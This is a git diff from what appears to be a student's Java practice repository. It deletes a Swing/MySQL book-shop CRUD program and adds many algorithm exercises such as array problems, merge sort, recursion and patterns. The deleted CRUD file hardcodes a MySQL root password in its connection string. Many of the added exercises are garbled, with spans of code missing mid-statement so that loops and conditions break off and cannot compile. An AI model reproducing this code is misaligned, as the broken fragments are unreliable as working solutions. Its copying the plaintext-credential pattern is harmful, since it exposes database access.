- int arr[] = { 12, 11, 13, 5, 6 }; - - InsertionSort ob = new InsertionSort(); - ob.sort(arr); - - printArray(arr); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/JavaCrud.java b/Add Code Here/JAVA/JavaCrud.java deleted file mode 100644 index 7e06063ac68..00000000000 --- a/Add Code Here/JAVA/JavaCrud.java +++ /dev/null @@ -1,343 +0,0 @@ - import java.awt.EventQueue; - import java.sql.*; - -import javax.swing.JFrame; -import javax.swing.JLabel; -import javax.swing.JOptionPane; - -import java.awt.Font; -import java.awt.event.ActionEvent; -import java.awt.event.ActionListener; - -import javax.swing.JPanel; -import javax.swing.border.TitledBorder; - -import net.proteanit.sql.DbUtils; - -import javax.swing.JTextField; -import javax.swing.JButton; -import javax.swing.border.EtchedBorder; -import java.awt.Color; -import javax.swing.JTabbedPane; -import javax.swing.JTable; -import javax.swing.JScrollPane; -import javax.swing.JTextPane; -import java.awt.event.KeyAdapter; -import java.awt.event.KeyEvent; - -public class JavaCrud { - private JFrame frame; - private JTextField txtbookname; - private JTextField txtedition; - private JTextField txtprice; - private JTextField txtID; - Connection con; - PreparedStatement pst; - ResultSet res; - private JTextField txtbookid; - private JTable table; - - /** - * Launch the application. - */ - public static void main(String[] args) { - EventQueue.invokeLater(new Runnable() { - public void run() { - try { - JavaCrud window = new JavaCrud(); - window.frame.setVisible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - }); - } - - /** - * Create the application. - */ - public JavaCrud() { - initialize(); - Connect(); - LoadTable(); - } - - public void Connect() { - try { - Class.forName("com.mysql.cj.jdbc.Driver"); - con = DriverManager.getConnection("jdbc:mysql://localhost:3306/book", "root","imdevesh1403"); - } - catch(Exception e) { - e.printStackTrace(); - } - } - - /** - * Initialize the contents of the frame. - */ - private void initialize() { - frame = new JFrame(); - frame.getContentPane().setFont(new Font("Times New Roman", Font.PLAIN, 18)); - frame.setBounds(100, 100, 1008, 641); - frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); - frame.getContentPane().setLayout(null); - - JLabel lblNewLabel = new JLabel("Book Shop"); - lblNewLabel.setFont(new Font("Calibri", Font.BOLD, 30)); - lblNewLabel.setBounds(427, 27, 133, 60); - frame.getContentPane().add(lblNewLabel); - - JPanel panel = new JPanel(); - panel.setBorder(new TitledBorder(new EtchedBorder(EtchedBorder.LOWERED, new Color(255, 255, 255), new Color(160, 160, 160)), "Registration", TitledBorder.CENTER, TitledBorder.TOP, null, new Color(0, 0, 0))); - panel.setBounds(38, 128, 395, 230); - frame.getContentPane().add(panel); - panel.setLayout(null); - - JLabel lblNewLabel_1 = new JLabel("Book ID"); - lblNewLabel_1.setFont(new Font("Tahoma", Font.BOLD, 16)); - lblNewLabel_1.setBounds(28, 49, 88, 21); - panel.add(lblNewLabel_1); - - JLabel lblNewLabel_1_1 = new JLabel("Name"); - lblNewLabel_1_1.setFont(new Font("Tahoma", Font.BOLD, 16)); - lblNewLabel_1_1.setBounds(28, 80, 47, 25); - panel.add(lblNewLabel_1_1); - - JLabel lblNewLabel_1_1_1 = new JLabel("Price"); - lblNewLabel_1_1_1.setFont(new Font("Tahoma", Font.BOLD, 16)); - lblNewLabel_1_1_1.setBounds(28, 172, 42, 25); - panel.add(lblNewLabel_1_1_1); - - txtbookname = new JTextField(); - txtbookname.setBounds(161, 82, 184, 25); - panel.add(txtbookname); - txtbookname.setColumns(10); - - txtedition = new JTextField(); - txtedition.setColumns(10); - txtedition.setBounds(161, 115, 184, 25); - panel.add(txtedition); - - txtprice = new JTextField(); - txtprice.setColumns(10); - txtprice.setBounds(161, 174, 184, 25); - panel.add(txtprice); - - JLabel lblNewLabel_1_2 = new JLabel("Edition"); - lblNewLabel_1_2.setFont(new Font("Tahoma", Font.BOLD, 16)); - lblNewLabel_1_2.setBounds(28, 115, 57, 21); - panel.add(lblNewLabel_1_2); - - txtbookid = new JTextField(); - txtbookid.setColumns(10); - txtbookid.setBounds(161, 49, 184, 25); - panel.add(txtbookid); - - JButton btnSave = new JButton("Save"); - btnSave.addActionListener(new ActionListener() { - - @Override - public void actionPerformed(ActionEvent e) { - String name,edition,price,id; - - name = txtbookname.getText().toString(); - edition = txtedition.getText().toString(); - price = txtprice.getText().toString(); - id = txtbookid.getText().toString(); - - if(!name.isEmpty() && !edition.isEmpty() && !price.isEmpty() && !id.isEmpty()) { - - try { - pst = con.prepareStatement("insert into books(id,name,edition,price)values(?,?,?,?)"); - pst.setString(1,id); - pst.setString(2, name); - pst.setString(3, edition); - pst.setString(4, price); - pst.executeUpdate(); - JOptionPane.showMessageDialog(null, "Record Added!"); - LoadTable(); - txtbookid.setText(""); - txtbookname.setText(""); - txtedition.setText(""); - txtprice.setText(""); - - }catch(Exception e2) { - e2.printStackTrace(); - } - - }else { - JOptionPane.showMessageDialog(null, "Please fill all the required feilds!"); - } - } - - - }); - btnSave.setFont(new Font("Tahoma", Font.BOLD, 12)); - btnSave.setBounds(38, 381, 110, 37); - frame.getContentPane().add(btnSave); - - JButton btnExit = new JButton("Exit"); - btnExit.setFont(new Font("Tahoma", Font.BOLD, 12)); - btnExit.setBounds(180, 381, 110, 37); - frame.getContentPane().add(btnExit); - - JButton btnClear = new JButton("Clear"); - btnClear.setFont(new Font("Tahoma", Font.BOLD, 12)); - btnClear.setBounds(323, 381, 110, 37); - frame.getContentPane().add(btnClear); - - JPanel panel_1 = new JPanel(); - panel_1.setBorder(new TitledBorder(null, "Search", TitledBorder.CENTER, TitledBorder.TOP, null, null)); - panel_1.setBounds(38, 478, 395, 102); - frame.getContentPane().add(panel_1); - panel_1.setLayout(null); - - JLabel lblNewLabel_1_1_2 = new JLabel("Book ID"); - lblNewLabel_1_1_2.setFont(new Font("Tahoma", Font.BOLD, 16)); - lblNewLabel_1_1_2.setBounds(10, 41, 65, 25); - panel_1.add(lblNewLabel_1_1_2); - - txtID = new JTextField(); - txtID.setColumns(10); - txtID.setBounds(98, 43, 170, 25); - panel_1.add(txtID); - - JButton search = new JButton("Search"); - search.addActionListener(new ActionListener() { - public void actionPerformed(ActionEvent e) { - String id = txtID.getText().toString(); - try { - pst = con.prepareStatement("select * from books where id =?"); - pst.setString(1, id); - ResultSet rs = pst.executeQuery(); - if(rs.next()==true) { - String name = rs.getString(2); - String edition = rs.getString(3); - String price = rs.getString(4); - - txtbookid.setText(id); - txtbookname.setText(name); - txtedition.setText(edition); - txtprice.setText(price); - }else { - txtbookid.setText(""); - txtbookname.setText(""); - txtedition.setText(""); - txtprice.setText(""); - JOptionPane.showMessageDialog(null, "Book doesn't exist try again!"); - } - } catch (SQLException e1) { - // TODO Auto-generated catch block - e1.printStackTrace(); - } - } - }); - search.setFont(new Font("Tahoma", Font.BOLD, 12)); - search.setBounds(298, 36, 76, 37); - panel_1.add(search); - - JButton btnUpdate = new JButton("Update"); - btnUpdate.addActionListener(new ActionListener() { - public void actionPerformed(ActionEvent e) { - - String name,edition,price,id; - - name = txtbookname.getText().toString(); - edition = txtedition.getText().toString(); - price = txtprice.getText().toString(); - id = txtID.getText().toString(); - - if(!name.isEmpty() && !edition.isEmpty() && !price.isEmpty() && !id.isEmpty()) { - - try { - pst = con.prepareStatement("update books set name=?,edition=?,price=? where id =?"); - pst.setString(1,name); - pst.setString(2, edition); - pst.setString(3, price); - pst.setString(4, id); - pst.executeUpdate(); - - System.out.println(name); - System.out.println(edition); - System.out.println(price); - - JOptionPane.showMessageDialog(null, "Record Updated!"); - LoadTable(); - txtbookid.setText(""); - txtbookname.setText(""); - txtedition.setText(""); - txtprice.setText(""); - txtbookid.requestFocus(); - txtID.setText(""); - - }catch(Exception e2) { - e2.printStackTrace(); - } - - }else { - JOptionPane.showMessageDialog(null, "Please fill all the required feilds!"); - } - } - }); - btnUpdate.setFont(new Font("Tahoma", Font.BOLD, 12)); - btnUpdate.setBounds(581, 444, 110, 51); - frame.getContentPane().add(btnUpdate); - - JButton btnDelete = new JButton("Delete"); - btnDelete.addActionListener(new ActionListener() { - public void actionPerformed(ActionEvent e) { - String id = txtID.getText().toString(); - try { - pst = con.prepareStatement("delete from books where id =?"); - - pst.setString(1, id); - pst.executeUpdate(); - JOptionPane.showMessageDialog(null, "Record Deleted!"); - LoadTable(); - - txtbookname.setText(""); - txtedition.setText(""); - txtprice.setText(""); - txtbookid.setText(""); - txtbookid.requestFocus(); - } - - catch (SQLException e1) { - - e1.printStackTrace(); - } - } - }); - btnDelete.setFont(new Font("Tahoma", Font.BOLD, 12)); - btnDelete.setBounds(728, 444, 110, 51); - frame.getContentPane().add(btnDelete); - - JTextPane txtpnDevelopedByDevesh = new JTextPane(); - txtpnDevelopedByDevesh.setFont(new Font("Tahoma", Font.PLAIN, 12)); - txtpnDevelopedByDevesh.setText("Java GUI"); - txtpnDevelopedByDevesh.setBounds(858, 575, 60, 19); - frame.getContentPane().add(txtpnDevelopedByDevesh); - - JScrollPane scrollPane = new JScrollPane(); - scrollPane.setBounds(475, 130, 489, 288); - frame.getContentPane().add(scrollPane); - - table = new JTable(); - scrollPane.setViewportView(table); - } - - private void LoadTable() { - // TODO Auto-generated method stub - try - { - pst = con.prepareStatement("select * from books"); - res = pst.executeQuery(); - table.setModel(DbUtils.resultSetToTableModel(res)); - } - catch (SQLException e) - { - e.printStackTrace(); - } - - } -} diff --git a/Add Code Here/JAVA/Java_Medium_Solutions/ContainerWithMostWater.java b/Add Code Here/JAVA/Java_Medium_Solutions/ContainerWithMostWater.java new file mode 100644 index 00000000000..69a8a1ead86 --- /dev/null +++ b/Add Code Here/JAVA/Java_Medium_Solutions/ContainerWithMostWater.java @@ -0,0 +1,16 @@ +class ContainerWithMostWater { + public static int maxArea(int[] height) { + int left = 0, right = height.length - 1; + int maxArea = 0; + while (left < right) { + int area = Math.min(height[left], height[right]) * (right - left); + maxArea = Math.max(maxArea, area); + if (height[left] < height[right]) { + left++; + } else { + right--; + } + } + return maxArea; + } +} \ No newline at end of file diff --git a/Add Code Here/JAVA/Java_Medium_Solutions/ZigZagConversion.java b/Add Code Here/JAVA/Java_Medium_Solutions/ZigZagConversion.java new file mode 100644 index 00000000000..cd640d08448 --- /dev/null +++ b/Add Code Here/JAVA/Java_Medium_Solutions/ZigZagConversion.java @@ -0,0 +1,33 @@ +class ZigZagConversion { + public String convert(String s, int numRows) { + if (numRows == 1 || numRows >= s.length()) { + return s; + } + StringBuilder[] strings = new StringBuilder[numRows]; + for(int i=0;imaxsum) - maxsum=sum; - if(sum<0) - sum=0; - } - System.out.println(maxsum); - } -} diff --git a/Add Code Here/JAVA/KthLargest.java b/Add Code Here/JAVA/KthLargest.java deleted file mode 100644 index 36aadb64e3a..00000000000 --- a/Add Code Here/JAVA/KthLargest.java +++ /dev/null @@ -1,22 +0,0 @@ -// Given an integer array nums and an integer k, return the kth largest element in the array. -//Note that it is the kth largest element in the sorted order, not the kth distinct element. -//You must solve it in O(n) time complexity. - -class KthLargest { - public int findKthLargest(int[] nums, int k) { - PriorityQueue mh = new PriorityQueue( - Collections.reverseOrder()); - for (int i = 0; i < nums.length; i++) { - - mh.add(nums[i]); - - } - if (k > mh.size()) - return -1; - int res = 0; - for (int i = 0; i < k; i++) { - res = mh.remove(); - } - return res; - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/LCS_Tabulation.java b/Add Code Here/JAVA/LCS_Tabulation.java deleted file mode 100644 index 9c3ad606052..00000000000 --- a/Add Code Here/JAVA/LCS_Tabulation.java +++ /dev/null @@ -1,24 +0,0 @@ -public class LCS_Tabulation { - static int lcs(int m, int n, String a, String b) - { - int dp[][]=new int[m+1][n+1]; - return lcsUtil(m, n, a, b,dp); - } - static int lcsUtil(int m,int n,String a, String b,int dp[][]) - { - for(int i=1;i<=m;i++) - { - for(int j=1;j<=n;j++) - { - if(a.charAt(i-1)==b.charAt(j-1)) - dp[i][j]=dp[i-1][j-1]+1; - else - dp[i][j]=Math.max(dp[i-1][j], dp[i][j-1]); - } - } - return dp[m][n]; - } - public static void main(String[] args) { - System.out.println(lcs(4, 5, "abcd", "bcedf")); - } -} diff --git a/Add Code Here/JAVA/LCS_convertString.java b/Add Code Here/JAVA/LCS_convertString.java deleted file mode 100644 index d6bee10ad35..00000000000 --- a/Add Code Here/JAVA/LCS_convertString.java +++ /dev/null @@ -1,36 +0,0 @@ -public class LCS_convertString { - public static int findLCS(String s1,String s2) - { - int m=s1.length(); - int n=s2.length(); - int dp[][]=new int[m+1][n+1]; - for(int i=0;i<=m;i++) - dp[i][0]=i; - for(int j=0;j<=n;j++) - dp[0][j]=j; - - return LCS(m, n, s1, s2, dp); - - } - public static int LCS(int m,int n,String s1,String s2,int dp[][]) - { - for(int i=1;i<=m;i++) - { - for(int j=1;j<=n;j++) - { - if(s1.charAt(i-1)==s2.charAt(j-1)) - dp[i][j]=dp[i-1][j-1]; - else - dp[i][j]=Math.min(dp[i-1][j-1], Math.min(dp[i-1][j], dp[i][j-1]))+1; - } - } - return dp[m][n]; - } - public static void main(String[] args) { - // String s1="ABCAB"; - // String s2="EACB"; - String s1="DOG"; - String s2="DIG"; - System.out.println(findLCS(s1, s2)); - } -} diff --git a/Add Code Here/JAVA/LCS_using_Dp.java b/Add Code Here/JAVA/LCS_using_Dp.java deleted file mode 100644 index 0b9a5f150c4..00000000000 --- a/Add Code Here/JAVA/LCS_using_Dp.java +++ /dev/null @@ -1,34 +0,0 @@ -public class LCS_using_Dp { - static int lcs(int m, int n, String a, String b) - { - int dp[][]=new int[m+1][n+1]; - for(int i=1;i<=m;i++) - { - for(int j=1;j<=n;j++) - { - dp[i][j]=-1; - } - } - return lcsUtil(m, n, a, b,dp); - } - static int lcsUtil(int m,int n,String a, String b,int dp[][]) - { - if(m==0 || n==0) - return 0; - - if(dp[m][n]!=-1) - { - return dp[m][n]; - } - - if(a.charAt(m-1)==b.charAt(n-1)) - return dp[m][n]=1+lcsUtil(m-1, n-1, a, b,dp); - else - { - return dp[m][n]=Math.max(lcsUtil(m-1, n, a, b,dp), lcsUtil(m, n-1, a, b,dp)); - } - } - public static void main(String[] args) { - System.out.println(lcs(4, 5, "abcd", "bcedf")); - } -} diff --git a/Add Code Here/JAVA/LEasy/AllBinarystringgenerate.java b/Add Code Here/JAVA/LEasy/AllBinarystringgenerate.java new file mode 100644 index 00000000000..6ebbd9084d0 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/AllBinarystringgenerate.java @@ -0,0 +1,37 @@ +package LEasy; + +import java.util.ArrayList; +import java.util.List; + +public class AllBinarystringgenerate { + public static void main(String[] args) { + + int n=3; + + generateBins(n); + + + + + + } + + private static void generateBins(int n) { + + List ls= new ArrayList<>(); + generatebinshelper(n,"",ls); + System.out.println(ls); + } + private static void generatebinshelper(int n, String str,List ls) { + + + if(n==0){ + ls.add(str); + return; + } + generatebinshelper(n-1,str+"O",ls); + if(str.isEmpty() || str.charAt(str.length()-1)=='O'){ + generatebinshelper(n-1,str+"1",ls); + } + } +} diff --git a/Add Code Here/JAVA/LEasy/BuyStocks.java b/Add Code Here/JAVA/LEasy/BuyStocks.java new file mode 100644 index 00000000000..4a8144fbd33 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/BuyStocks.java @@ -0,0 +1,33 @@ +package LEasy; + +public class BuyStocks { + public static void main(String[] args) { + + int[] prices={7,1,5,3,6,4}; + + int n=prices.length; + + + int buyprice=Integer.MAX_VALUE; + int maxprofiy=0; + + for (int i = 0; i < prices.length; i++) { + + + if(buypriceprofit){ + + } + } + + } + + + + + + + + } +} diff --git a/Add Code Here/JAVA/LEasy/CheckArrIsSortedornot.java b/Add Code Here/JAVA/LEasy/CheckArrIsSortedornot.java new file mode 100644 index 00000000000..8030d082bea --- /dev/null +++ b/Add Code Here/JAVA/LEasy/CheckArrIsSortedornot.java @@ -0,0 +1,31 @@ +package LEasy; + +public class CheckArrIsSortedornot { + public static void main(String[] args) { + + int[] arr={1,2,3,5,4,5}; + + System.out.println(isSorted(arr)); + + + + + } + + private static boolean isSorted(int[] arr) { + + for (int i = 1; i =arr[i-1]){ + + }else{ + return false; + } + + + } + return true; + + + } +} diff --git a/Add Code Here/JAVA/LEasy/FindIntersection.java b/Add Code Here/JAVA/LEasy/FindIntersection.java new file mode 100644 index 00000000000..d325564a7ce --- /dev/null +++ b/Add Code Here/JAVA/LEasy/FindIntersection.java @@ -0,0 +1,83 @@ +package LEasy; + +import java.util.ArrayList; +import java.util.Arrays; + +public class FindIntersection { + public static void main(String[] args) { + + int[] arr1={1,2,3,4,5,6}; + int[] arr2={2,3,5,6,7,8}; + +// bruteforce(arr1,arr2); + optimal(arr1,arr2); + + + + } + + private static void optimal(int[] arr1, int[] arr2) { + + int i=0; + int j=0; + ArrayList a=new ArrayList<>(); + + while (i a=new ArrayList<>(); + int[] vis=new int[arr2.length]; + Arrays.fill(vis,0); +// System.out.println(Arrays.toString(vis)); + for (int i = 0; i < arr1.length; i++) { + for (int j = 0; j < arr2.length; j++) { + + + if(arr1[i]==arr2[j] && vis[j]==0){ + + a.add(arr1[i]); + vis[j]=1; + break; + + } + + } + + } + for (int i:vis){ + System.out.print(i); + + } + System.out.println(""); + for(int i:a){ + System.out.print(i+" "); + } + + } +} diff --git a/Add Code Here/JAVA/LEasy/FindMissingnumber.java b/Add Code Here/JAVA/LEasy/FindMissingnumber.java new file mode 100644 index 00000000000..824ffaf9e91 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/FindMissingnumber.java @@ -0,0 +1,57 @@ +package LEasy; + +import java.util.Arrays; + +public class FindMissingnumber { + public static void main(String[] args) { + + int [] arr={1,2,3}; + System.out.println(arr.length); +// int n=4; +// bruteforce(arr); + +// optimal(arr,n); + + + } + + private static void optimal(int[] arr,int N) { + + Arrays.sort(arr); + int n=arr.length; + int ans=N*(N+1)/2; + System.out.println(ans); + int sum=0; + for (int i = 0; i < n; i++) { + sum+=arr[i]; + } + System.out.println(ans-sum); +// System.out.println(ans); +// System.out.println(sum); + + + } + + private static void bruteforce(int[] arr) { + int flag=0; + for (int i = 1; i < arr.length; i++) { + flag=0; + for (int j = 0; j < arr.length;j++) { + + if(arr[j]==i){ + flag=1; + break; + } + } + if(flag==0){ + System.out.println(i); +// return i; + } + } + + + + + + } +} diff --git a/Add Code Here/JAVA/LEasy/FriendlyPair.java b/Add Code Here/JAVA/LEasy/FriendlyPair.java new file mode 100644 index 00000000000..2010df8691f --- /dev/null +++ b/Add Code Here/JAVA/LEasy/FriendlyPair.java @@ -0,0 +1,35 @@ +package LEasy; + +public class FriendlyPair { + + public static void main(String[] args) { + + int num1 = 7, num2 = 28; + + int n1=getdivisors(num1); + int n2=getdivisors(num2); +// System.out.println(n1); +// System.out.println(n2); + if(num1/n1 == num2/n2){ + System.out.println("YES"); + }else{ + System.out.println("no"); + } + + + + + + } + + private static int getdivisors(int num1) { + int sum=0; //1+2+3=6 + for (int i = 1; i =1 ; i--) { + + if(n1%i==0 && n2%i==0){ + gcd=i; + break; + } + + } + System.out.println(gcd); + + } + public static void morebetter(int n1,int n2){ + + while (n1>0 && n2>0){ + + if(n1>n2){ + n1=n1%n2; + }else{ + n2=n2%n1; + } + } + if(n1==0){ + System.out.println(n2); + }else { + System.out.println(n1); + } + + } + + public static void main(String[] args) { + + + int n1=20,n2=30; +// bruteforce(n1,n2); +// better(n1,n2); + morebetter(n1,n2); + + + + + } +} diff --git a/Add Code Here/JAVA/LEasy/GetSingleElement.java b/Add Code Here/JAVA/LEasy/GetSingleElement.java new file mode 100644 index 00000000000..61a0bdb721a --- /dev/null +++ b/Add Code Here/JAVA/LEasy/GetSingleElement.java @@ -0,0 +1,51 @@ + package LEasy; + + import java.util.HashMap; + import java.util.Iterator; + + public class GetSingleElement { + + + public static void better(int[] arr){ + HashMap map=new HashMap<>(); + for (int i = 0; i < arr.length; i++) { + map.put(arr[i], map.getOrDefault(arr[i], 0) + 1); // Corrected line + + } + System.out.println(map); + + Iterator it = map.keySet().iterator(); // Create an iterator for keys + + while (it.hasNext()) { + Integer key = it.next(); + Integer value = map.get(key); +// System.out.println("Key: " + key + ", Value: " + value); + + if(value==1){ + System.out.println(key); + break; + } + } + } + public static void main(String[] args) { + int[] arr={1,1, 2,2, 3}; + + optimal(arr); + + } + + private static void optimal(int[] arr) { + + int xor=0; + for (int i = 0; i < arr.length; i++) { + + xor=arr[i]^xor; + + } + System.out.println(xor); + + + + } + + } diff --git a/Add Code Here/JAVA/LEasy/LeftRotateBy1.java b/Add Code Here/JAVA/LEasy/LeftRotateBy1.java new file mode 100644 index 00000000000..d8208542138 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/LeftRotateBy1.java @@ -0,0 +1,19 @@ +package LEasy; + +import java.util.Arrays; + +public class LeftRotateBy1 { + public static void main(String[] args) { + int[] arr={1,2,3,4,5}; + + int temp=arr[0]; + for (int i = 1; i n/2){ +// System.out.println("counter is "+counter); +// } +// } +// private static void better(int[] arr, int n) { +// +// HashMap mpp=new HashMap<>(); +// for (int i = 0; i < arr.length; i++) { +// mpp.put(arr[i]++); +// } +// System.out.println(mpp); +// +// +// +// +// } +// public static void main(String[] args) { +// +// int[] arr = {2, 2, 3, 3, 1, 2, 2}; +// int n = arr.length; +// +//// bruteforce(arr,n); +// +// better(arr,n); +// +// +// } +// +// +//} +// +// diff --git a/Add Code Here/JAVA/LEasy/MaxConsecutiveOnes.java b/Add Code Here/JAVA/LEasy/MaxConsecutiveOnes.java new file mode 100644 index 00000000000..c6e5f9bceec --- /dev/null +++ b/Add Code Here/JAVA/LEasy/MaxConsecutiveOnes.java @@ -0,0 +1,23 @@ +package LEasy; + +public class MaxConsecutiveOnes { + public static void main(String[] args) { + + int[] arr={1,1,0,1,1,1,0,1,1}; + int maxcounter=0; + int currcounter=0; + for (int i = 0; i < arr.length; i++) { + + if(arr[i]==1){ + currcounter++; + }else{ + currcounter=0; + } + if(currcounter>maxcounter){ + maxcounter=currcounter; + } + } + System.out.println(maxcounter); + + } +} diff --git a/Add Code Here/JAVA/LEasy/MergeSort.java b/Add Code Here/JAVA/LEasy/MergeSort.java new file mode 100644 index 00000000000..c685142e3e4 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/MergeSort.java @@ -0,0 +1,56 @@ +package LEasy; + +import java.util.ArrayList; +import java.util.Arrays; + +public class MergeSort { + public static void main(String[] args) { + int[] arr={5,4,2,5,2,5,6,77}; + int n=arr.length-1; + mergesort(arr,0,n); + + System.out.println(Arrays.toString(arr)); + } + + private static void mergesort(int[] arr, int low, int high) { + if(low==high){ + return; + } + int mid=(low+high)/2; + mergesort(arr,low,mid); + mergesort(arr,mid+1,high); + merge(arr,low,mid,high); + + } + + private static void merge(int[] arr, int low, int mid, int high) { + + ArrayList a=new ArrayList<>(); + int left=low; + int right=mid+1; + while (left<=mid && right<=high){ + if(arr[left]<=arr[right]){ + a.add(arr[left]); + left++; + }else{ + a.add(arr[right]); + right++; + } + } + while (left<=mid){ + a.add(arr[left]); + left++; + } + + while (right<=high){ + a.add(arr[right]); + right++; + } + + for (int i = low; i <=high ; i++) { + arr[i]=a.get(i-low); + + } + + } +} diff --git a/Add Code Here/JAVA/LEasy/MoveAllZeros.java b/Add Code Here/JAVA/LEasy/MoveAllZeros.java new file mode 100644 index 00000000000..24bcf82806a --- /dev/null +++ b/Add Code Here/JAVA/LEasy/MoveAllZeros.java @@ -0,0 +1,74 @@ +package LEasy; + +import java.util.ArrayList; +import java.util.Arrays; + +public class MoveAllZeros { + public static void main(String[] args) { + int[] arr={1,2,0,0,4,5,0,2,5}; +// bruteforce(arr); + + optimal(arr); + + + + + + + } + + private static void optimal(int[] arr) { + + int j=-1; + for (int i = 0; i < arr.length; i++) { + if(arr[i]==0){ + j=i; + break; + } + } + if(j==-1){ + System.out.println("no zeros..."); + } + for (int i = j+1; i a=new ArrayList<>(); + + for (int i = 0; i < arr.length; i++) { + if(arr[i]!=0){ + a.add(arr[i]); + } + } + + for (int i=0;ii; space--) + { + System.out.print(" "); + } + num=1; + for(j=0; j<=i; j++) + { + System.out.print(num+ " "); + num = num*(i-j)/(j+1); + } + System.out.print("\n"); + } + } +} diff --git a/Add Code Here/JAVA/LEasy/Patterns.java b/Add Code Here/JAVA/LEasy/Patterns.java new file mode 100644 index 00000000000..cdba13319a3 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/Patterns.java @@ -0,0 +1,146 @@ +package LEasy; + +public class Patterns { + + public static void pat1(int n){ + for (int i = 0; i < n; i++) { + for (int j = 0; j < n; j++) { + + + System.out.print("*"); + + } + System.out.println(); + + } + } + public static void pat2(int n){ + for (int i = 0; i < n; i++) { + for (int j = 0; j < i; j++) { + System.out.print("*"); + } + System.out.println(); + } + } + + public static void pat3(int n){ + for (int i = 1; i <= n; i++) { + for (int j = 1; j <= i; j++) { + System.out.print(j); + } + System.out.println(); + } + } + public static void pat4(int n){ + for (int i = 1; i <= n; i++) { + for (int j = 1; j <= i; j++) { + System.out.print(i); + } + System.out.println(); + } + } + public static void pat5(int n){ + for (int i = 1; i <= n; i++) { + for (int j = 1; j <= n-i+1; j++) { + System.out.print("*"); + } + System.out.println(); + } + } + public static void pat6(int n){ + for (int i = 1; i <= n; i++) { + for (int j = 1; j <= n-i+1; j++) { + System.out.print(j); + } + System.out.println(); + } + } + public static void pat7(int n){ + for (int i = 0; i < n; i++) { + + for (int j = 0; j =0; i--) { + + for (int j = 0; j =0; i--) { + + for (int j = 0; j 'a'){ + count++; + m--; + } + System.out.println(count); + + + + + + + + + } +} + + diff --git a/Add Code Here/JAVA/LEasy/ReArrangePosNeg.java b/Add Code Here/JAVA/LEasy/ReArrangePosNeg.java new file mode 100644 index 00000000000..9f506c62339 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/ReArrangePosNeg.java @@ -0,0 +1,76 @@ +package LEasy; + +import java.util.Arrays; + +public class ReArrangePosNeg { + public static void main(String[] args) { + int[] arr={3,1,-2,-5,2,-4}; +// bruteforce(arr); + + optimal(arr); + + + } + + private static void optimal(int[] arr) { + + int n=arr.length; +// ArrayList a=new ArrayList<>(); + int[] temp=new int[arr.length]; + + int posidx=0,negidx=1; + for (int i = 0; i < n; i++) { + if(arr[i]<0){ + temp[negidx]=arr[i]; + negidx+=2; + } + else{ + temp[posidx]=arr[i]; + posidx+=2; + } + + } + + System.out.println(Arrays.toString(arr)); + + + } + + + private static void bruteforce(int[] arr) { + int[] pos=new int[arr.length/2]; + int[] neg=new int[arr.length/2]; + int idx=0,idx2=0; + for (int i = 0; i 0){ + pos[idx++]=arr[i]; + }else{ + neg[idx2++]=arr[i]; + } + } + System.out.println(Arrays.toString(pos)); + System.out.println(Arrays.toString(neg)); + + for (int i = 0; i < arr.length/2; i++) { + + arr[2*i]=pos[i]; + arr[2*i+1]=neg[i]; + + } + System.out.println(Arrays.toString(arr)); +// int i=0; +// idx=0; +// idx2=0; +// while (in){ + return; + } + System.out.println(i); + printLinearly(i+1,n); + } + public static void printLinearlydec(int i,int n){ + if(i>n){ + return; + } + printLinearlydec(i+1,n); + System.out.println(i); + } + + private static int functionalsum(int n) { + + if(n==0){ + return 0; + } + return n+functionalsum(n-1); + } + + private static int fact(int n) { + + if(n==0){ + return 1; + } + return n*fact(n-1); + } + + private static void sumofn(int i, int sum) { + + + if(i<1){ + System.out.println(sum); + return; + } + sumofn(i-1,sum+i); + + } + + + + private static void printuseBacktrackingdesc(int i, int n) { + + + if(i>n){ + return; + } + System.out.println(i); + printuseBacktrackingdesc(i+1,n); + + + } + + private static void printuseBacktracking(int i, int n) { + if(i<1){ + return; + } + printuseBacktracking(i-1,n); + System.out.println(i); + } + private static void reversearr(int[] arr, int s, int e) { + + if(s>=e){ + System.out.println(Arrays.toString(arr)); + return; + } + swap(arr,s,e); + reversearr(arr,s+1,e-1); + + } + + private static void swap(int[] arr, int s, int e) { + int temp=arr[s]; + arr[s]=arr[e]; + arr[e]=temp; + } + + private static void reversearroptimized(int[] arr, int s, int e) { + if(s>=e/2){ + return; + } + int temp=arr[s]; + arr[s]=arr[e-s-1]; + arr[e-s-1]=temp; + reversearroptimized(arr,s+1,e); + + + } + + private static boolean palcheck(int i,String s) { + + if(i>=s.length()/2){ + return true; + } + if(s.charAt(i)!=s.charAt(s.length()-i-1)){ + return false; + } + return palcheck(i+1,s); + } + + public static void main(String[] args) { + int [] arr={1,2,3,4,5}; + int s=0; + int e=arr.length; + +// reversearr(arr,s,e); + +// reversearroptimized(arr,s,e); +// System.out.println(Arrays.toString(arr)); + + System.out.println(palcheck(0,"madamamadam")); + + + + + +// printNtimes(0,n); +// printLinearly(1,n); +// printLinearlydec(1,n); + +// printuseBacktracking(5,n); +// printuseBacktrackingdesc(0,n); + +// sumofn(5,0); + +// System.out.println(fact(5)); + + } + + + + +} diff --git a/Add Code Here/JAVA/LEasy/RemoveDuplicates.java b/Add Code Here/JAVA/LEasy/RemoveDuplicates.java new file mode 100644 index 00000000000..ab2a3c0c6d2 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/RemoveDuplicates.java @@ -0,0 +1,53 @@ +package LEasy; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +public class RemoveDuplicates { + public static void main(String[] args) { + + int[] arr={1,1,2,2,2,3,3}; + + +// bruteforce(arr); + optimal(arr); + + + + + } + + private static void optimal(int[] arr) { + + int i=0; + for (int j = 1; j s=new HashSet<>(); + for (int i = 0; i largest){ + slargest=largest; + largest=arr[i]; + }else if(arr[i]slargest){ + slargest=arr[i]; + } + + } + return slargest; + } + + private static int better(int[] arr) { + + int largest=Integer.MIN_VALUE; + int seclargest=-1; + + for (int i = 0; i < arr.length; i++) { + + if(arr[i]>largest){ + largest=arr[i]; + } + } + + for (int i = 0; i seclargest && arr[i]!=largest) + { + seclargest=arr[i]; + } 